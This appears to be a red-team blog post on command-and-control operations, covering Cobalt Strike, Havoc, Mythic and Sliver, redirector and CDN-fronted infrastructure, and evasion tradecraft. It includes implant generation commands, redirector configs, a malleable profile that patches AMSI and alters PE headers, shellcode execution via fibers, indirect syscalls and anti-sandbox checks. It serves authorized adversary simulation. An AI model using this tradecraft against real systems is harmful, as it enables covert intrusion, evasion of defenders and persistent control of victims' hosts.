Red Team

Modern C2 Usage: Frameworks, Tradecraft, and Infrastructure

A practical overview of modern command and control frameworks, infrastructure design, and operational tradecraft for red team engagements.

Command and control (C2) is the backbone of any red team operation. It’s the communication channel between your implant on a compromised host and your operator console. Getting C2 right means the difference between a successful engagement and getting caught on day one.

This post covers the current landscape of C2 frameworks, how to design resilient infrastructure, and the tradecraft that keeps your operations alive. As noted, this is an overview and I’ll dive further into these topics in dedicated posts.

Choosing a C2 Framework

The C2 space has evolved significantly. Here’s a breakdown of the most relevant frameworks in 2026 and what I use personally.

Cobalt Strike

Still the industry standard for commercial red teaming. Malleable C2 profiles give you deep control over traffic signatures, and the Beacon payload is battle-tested.

# Spin up team server
./teamserver 10.10.10.1 password /path/to/malleable.profile

# Generate shellcode
> Payloads -> Windows Executable (Stageless) -> Output: Raw

Pros:

  • Mature ecosystem with extensive BOF (Beacon Object File) library
  • Malleable C2 profiles give granular control over traffic signatures
  • Artifact kit and resource kit allow deep customization of payload generation
  • Widespread training material and community knowledge

Cons:

  • Expensive commercial license
  • Heavily signatured by EDR/AV vendors — requires significant customization out of the box
  • Cracked versions are widely used by actual threat actors, increasing defender focus on Cobalt Strike indicators

Havoc

A newer entrant that’s gained traction quickly. Demon agent supports sleep obfuscation, indirect syscalls, and return address stack spoofing out of the box.

# Build Havoc Server & Client
make

# Build Server Only
make ts-build

# Build Client Only
make client-build 

# Start Server
./havoc server --profile ./profiles/havoc.yaotl --debug

# Connect with the client
./havoc client

Pros:

  • Modern evasion techniques baked in (sleep obfuscation, indirect syscalls, stack spoofing)
  • Active community and rapid development
  • Free and open-source — no licensing cost
  • Clean, modern Qt-based client UI

Cons:

  • Smaller plugin/extension ecosystem compared to Cobalt Strike
  • Documentation can lag behind development
  • Fewer resources and public knowledge base

Mythic

A modern, modular framework with a web-based UI. Supports multiple agent types through its plugin architecture — Poseidon (macOS/Linux), Apollo (Windows), and community-developed agents.

# Install Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

# Start Mythic
sudo ./mythic-cli start

Pros:

  • Clean web UI with real-time operator collaboration
  • Modular agent/profile architecture — swap agents and C2 profiles independently
  • Excellent logging, reporting, and MITRE ATT&CK mapping built in
  • Growing library of community-developed agents including MacOS options

Cons:

  • Heavier resource footprint — requires Docker and more setup overhead
  • Agent quality varies across community contributions
  • Steeper learning curve due to the modular architecture

Sliver

The leading open-source alternative. Written in Go, cross-platform implants, built-in multiplayer support, and WireGuard-based C2 channels.

# Start the Sliver server
sliver-server

# Generate an implant
sliver > generate --mtls 10.10.10.1 --os windows --arch amd64 --format exe --save /tmp/implant.exe

# Or generate a stager
sliver > generate stager --lhost 10.10.10.1 --lport 8443 --protocol tcp

Pros:

  • Free and open-source with active development and community support
  • Built-in support for multiple C2 protocols (mTLS, WireGuard, DNS, HTTP/S)
  • Cross-platform implants written in Go — compile for Windows, macOS, and Linux from a single codebase
  • Multiplayer mode and cursed mode for Cobalt Strike interop

Cons:

  • No GUI — CLI-only interface can be less user friendly for some operators
  • Go binaries are larger and can stand out compared to native implants
  • Fewer built-in post-exploitation capabilities compared to Cobalt Strike
  • Less granular traffic customization — no equivalent to Malleable C2 profiles
  • Implant signatures are increasingly tracked by EDR vendors as adoption grows

Infrastructure Design

Your C2 framework is only as good as the infrastructure supporting it. A flat setup with a single server is a quick way to get burned.

Server Hosting

I typically use cloud compute instances for C2 server hosting. Make sure to lock down the security groups so only your operator IP can reach the C2 client ports — the team server should never be accessible to the open internet. Only the redirector or CDN origin-pull should be able to reach the listener ports.

# Example: AWS Security Group rules (via CLI)
# Allow only your operator IP to access the C2 client
aws ec2 authorize-security-group-ingress \
    --group-id sg-xxxx \
    --protocol tcp --port 50050 \
    --cidr YOUR_OPERATOR_IP/32

# Allow only the CDN/redirector to reach the HTTPS listener
aws ec2 authorize-security-group-ingress \
    --group-id sg-xxxx \
    --protocol tcp --port 443 \
    --cidr CDN_IP_RANGE/24

# Block everything else — default deny

Cloud compute gives you the flexibility to spin up and tear down infrastructure quickly, a more robust setup which I use leverages Terraform and python wrapper scripts to automate deployments and tear downs.

Redirectors

Never expose your team server directly. Use redirectors or a CDN as a front-end proxy that funnels traffic back to your C2 server. This way, if the redirector gets burned, you swap it out without losing your team server.

# Simple socat redirector
socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER_IP:443

# Apache mod_rewrite redirector (in .htaccess)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0.*" [NC]
RewriteCond %{REQUEST_URI} ^/updates/check$ [NC]
RewriteRule ^.*$ https://TEAMSERVER:443%{REQUEST_URI} [P,L]

# Default — redirect to a legitimate site
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

You can apply similar filtering logic on the CDN itself — most CDN providers let you configure rules that inspect headers, user-agents, and URI paths before forwarding to the origin. This works in a similar fashion to Apache mod_rewrite but at the CDN edge, giving you an extra layer of filtering before traffic ever reaches your C2 server.

# CDN edge rule example (similar logic to mod_rewrite)
# Match: User-Agent contains expected beacon string AND URI matches callback path
# Action: Forward to origin (C2 team server)
# Default: Return 302 redirect to legitimate site

Layered Architecture

A production red team infrastructure typically looks like this:

  • Long-haul C2 — Low and slow. Beacons call back every 4-24 hours. Used for persistence. Runs through CDN or domain fronting.
  • Short-haul C2 — Interactive sessions for active operations. Higher callback frequency, separate infrastructure.
  • Post-exploitation — Dedicated channels for lateral movement tooling, separate from primary C2.
Target → CDN/Redirector → Long-haul C2 Server
Target → CDN/Redirector → Short-haul C2 Server

Ideally each tier runs on its own compute instance with separate security groups. If short-haul gets burned, long-haul persistence survives.

Domains and CDN Fronting

Your C2 domains need to blend in. Aged domains with existing categorization in web proxies are essential.

  • Purchase expired domains with clean history
  • Verify categorization on Bluecoat, Palo Alto URL filtering, and McAfee TrustedSource
  • Use HTTPS with valid certificates (can be set up through a CDN provider or registrar)
  • Match your domain to your cover story — if you’re mimicking a SaaS update check, the domain should look the part

You can also route C2 through legitimate CDN providers so network traffic appears to go to a trusted domain. This is my preferred method for getting a domain spun up quickly as a low-cost/no-cost option. The CDN acts as the front-end redirector — it receives the beacon traffic and origin-pulls back to your locked-down cloud compute instance. Another benefit with most CDNs is the option to prefix the domain so it can appear more legitimate, example below:

# Traffic flow:
Beacon → HTTPS → google-svc-update.cloudflare.com → C2 origin server

# The SNI and Host header differ:
SNI: google-svc-update.cloudflare.com (what the proxy sees)
Host: <your-c2-domain.com> OR <Direct Cloud IP> (what the CDN routes on)

Note: Many CDN providers have cracked down on domain fronting. Research current options and always stay within your operational rules of engagement.

Evasion Tradecraft

For reference I am only scratching the surface here. Effective evasion and execution methods are a must for successful C2-based ops.

Malleable C2 Profiles

With Cobalt Strike, your Malleable profile defines how Beacon traffic looks on the wire. A good profile mimics legitimate application traffic. Havoc similarly supports malleable C2 profiles through its Yaotl configuration format, giving you control over traffic shaping and request/response customization.

# Traffic shaping — mimic Microsoft Teams traffic
http-get {
    set uri "/api/v1/teams/updates";

    client {
        header "Host" "teams.microsoft.com";
        header "Accept" "application/json";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Server" "Microsoft-IIS/10.0";

        output {
            base64url;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/teams/messages";

    client {
        header "Host" "teams.microsoft.com";
        header "Accept" "application/json";
        header "Content-Type" "application/json";

        id {
            base64url;
            parameter "sessid";
        }

        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Server" "Microsoft-IIS/10.0";

        output {
            base64url;
            print;
        }
    }
}

# Stage block — controls how Beacon loads and behaves in memory
stage {
    set sleep_mask "true";            # XOR heap + image sections while sleeping
    set syscall_method "indirect";    # Use indirect syscalls to bypass user-mode hooks
    set obfuscate "true";             # Strip strings from Beacon's heap
    set cleanup "true";               # Free reflective loader memory after load
    set userwx "false";              # Avoid RWX memory — use RW then RX instead
    set smartinject "true";           # Use embedded function pointers for injection

    # BeaconGate — proxy API calls through the sleep mask kit (4.10+)
    beacon_gate { All; }

    # Modify PE headers to break YARA rules targeting MZ/PE signatures
    set magic_mz_x64 "OOPS";
    set magic_pe "EA";

    # Strip known-bad strings from Beacon DLL
    transform-x64 {
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
        strrep "beacon.dll" "";
        strrep "ReflectiveLoader" "";
    }
}

# Process injection — controls how Beacon injects into remote processes
process-inject {
    set allocator "NtMapViewOfSection";  # Avoid VirtualAllocEx
    set userwx "false";                  # No RWX in target process
    set min_alloc "17500";               # Minimum allocation size
    set startrwx "false";                # Don't start with RWX permissions
    set use_driploading "true";          # Drip-load shellcode in chunks (4.11+)
    set dripload_delay "500";            # Delay between drip-load chunks (ms)
}

# Post-exploitation — controls fork & run jobs
post-ex {
    set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
    set obfuscate "true";                # Obfuscate post-ex DLLs in memory
    set smartinject "true";              # Clean injection for post-ex
    set amsi_disable "true";             # Patch AMSI in post-ex processes
    set pipename "Winsock2\\CatalogChangeListener-###-0";
}

Sleep Obfuscation

Modern EDR solutions scan process memory for known implant signatures. Sleep obfuscation encrypts or hides your implant in memory while it’s sleeping between callbacks.

Techniques include:

  • Ekko/Zilean — Timer-based sleep that encrypts the implant’s memory using RtlCreateTimer
  • Foliage — APC-based sleep obfuscation using NtSignalAndWaitForSingleObject
  • Stack spoofing — Fabricate a clean call stack to avoid stack-based detections during sleep

Indirect Syscalls

User-mode API hooking is how most EDR products monitor process behavior. Indirect syscalls bypass these hooks by resolving the System Service Number (SSN) for a given NT function and jumping to the syscall instruction inside ntdll.dll itself. This way the return address on the stack points back to ntdll, making the call stack look legitimate and avoiding memory region-based detections.

// Indirect syscall — resolve SSN and jump to ntdll's syscall instruction
SyscallNumber = GetSSN("NtAllocateVirtualMemory");
SyscallAddress = GetSyscallAddr("NtAllocateVirtualMemory");
// Execute from ntdll's .text section — clean call stack

Execution Callbacks

Once shellcode is in memory, you need a way to execute it. The classic approach — VirtualAllocmemcpyCreateThread — is heavily monitored by EDR. Execution callbacks offer alternative methods to trigger shellcode without spawning a new thread directly.

  • FibersConvertThreadToFiber + CreateFiber. Fibers are lightweight execution units scheduled in user-mode, invisible to kernel-level thread monitoring. The calling thread converts itself to a fiber, then creates a new fiber pointing to the shellcode address and switches to it with SwitchToFiber.
  • QueueUserAPC — Queue an Asynchronous Procedure Call to an alertable thread. When the thread enters an alertable wait state (SleepEx, WaitForSingleObjectEx), the APC executes your shellcode. Early-bird APC injection targets a suspended process before it initializes, running your payload before EDR hooks are in place.
  • Thread PoolCreateThreadpoolWait or TpAllocWork. Abuse the Windows thread pool to execute shellcode as a work item callback. Since the execution originates from the thread pool, the call stack looks legitimate.
  • Vectored Exception HandlersAddVectoredExceptionHandler with a handler pointing to your shellcode, then trigger an intentional exception. EDR rarely monitors VEH registration for malicious callbacks.
  • EnumWindows / EnumChildWindows — Callback-based Windows API functions that accept a function pointer. Pass your shellcode address as the callback, and Windows will invoke it while enumerating windows. Other callback-accepting APIs like EnumFonts, EnumDisplayMonitors, and CertEnumSystemStore work similarly.
  • TimersCreateTimerQueueTimer or RtlCreateTimer. Schedule shellcode execution as a timer callback. This is the same mechanism used by Ekko/Zilean for sleep obfuscation, but can also serve as an initial execution method.
// Example: Fiber-based execution
// Convert main thread to fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);

// Create a fiber pointing to shellcode
PVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcodeAddr, NULL);

// Switch execution to shellcode fiber
SwitchToFiber(shellFiber);

The goal is to avoid CreateThread and CreateRemoteThread — two of the most heavily monitored APIs in any EDR’s arsenal. Callbacks let you piggyback on legitimate Windows mechanisms to execute your payload.

Anti-Analysis

If your implant lands in a sandbox or on an analyst’s workstation, you want it to detect the environment and bail before executing. Anti-analysis checks add a layer of self-preservation to your payload.

  • Sandbox Detection — Check for artifacts common to analysis environments: low CPU core counts (GetSystemInfo), small RAM (< 4GB), short uptimes (GetTickCount64), or known sandbox usernames and hostnames (e.g., “sandbox”, “malware”, “virus”).
  • Debugger DetectionIsDebuggerPresent and CheckRemoteDebuggerPresent are the basics, but easily bypassed. More reliable checks include reading the BeingDebugged flag directly from the PEB, timing checks with rdtsc to detect single-stepping, or checking for hardware breakpoints via GetThreadContext.
  • Virtualization Detection — Query WMI for VM-specific hardware strings (VMware, VirtualBox, QEMU in BIOS/manufacturer fields), check for known VM MAC address prefixes, or look for hypervisor-specific registry keys and driver files.
  • Process Enumeration — Scan running processes for analysis tools: wireshark.exe, procmon.exe, x64dbg.exe, ida64.exe, ollydbg.exe. If common analyst tools are running, abort execution.
  • Time-Based Evasion — Sandboxes typically have short execution windows. Delay execution with extended sleep calls or compute-intensive loops. If GetTickCount64 reports an uptime under a few minutes, the system likely just booted for analysis.
  • User Interaction Checks — Sandboxes rarely simulate real user activity. Check for recent mouse movement, number of open windows, browser history length, or installed applications. A clean system with no user artifacts is suspicious.
// Example: Basic environment checks before execution
SYSTEM_INFO si;
GetSystemInfo(&si);
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);

// Bail if fewer than 2 cores or less than 4GB RAM
if (si.dwNumberOfProcessors < 2 || ms.ullTotalPhys < (4ULL * 1024 * 1024 * 1024))
    return;

// Check uptime — skip if system booted less than 10 minutes ago
if (GetTickCount64() < 600000)
    return;

Layer multiple checks together — no single check is foolproof, but the combination makes automated analysis significantly harder.

Operational Security Tips

  1. Separate infrastructure by function — Don’t run phishing, C2, and exfil on the same server
  2. Use ephemeral infrastructure — Terraform/Ansible scripts to spin up and tear down quickly
  3. Monitor your own traffic — Know what your C2 looks like from the defender’s perspective
  4. Rotate regularly — Domains, IPs, and certificates should be rotated throughout the engagement
  5. Kill dates — Always set implant expiration dates. Orphaned implants are a liability
  6. Log everything — Detailed operator logs are essential for the final report and deconfliction

Detection Considerations

Understanding how blue teams detect C2 helps you build better infrastructure:

  • JA3/JA3S fingerprints — TLS client fingerprinting can identify known C2 frameworks. Customize your TLS configuration.
  • Beacon analysis — Regular callback intervals create detectable patterns. Use jitter (30-50%) to break periodicity.
  • DNS anomalies — DNS C2 generates unusual query patterns. High volume of TXT queries to a single domain is a red flag.
  • Process behavior — EDR monitors process injection, unusual parent-child relationships, and suspicious API call sequences.

Conclusion

Modern C2 operations require more than just picking a framework and generating a payload. The combination of a solid framework, well-designed infrastructure, and disciplined tradecraft is what separates a noisy test from a realistic adversary simulation.

Start simple, iterate, and always test your setup against detection before going live on an engagement. The best C2 infrastructure is the one that the blue team never notices.

ESC

Start typing to search...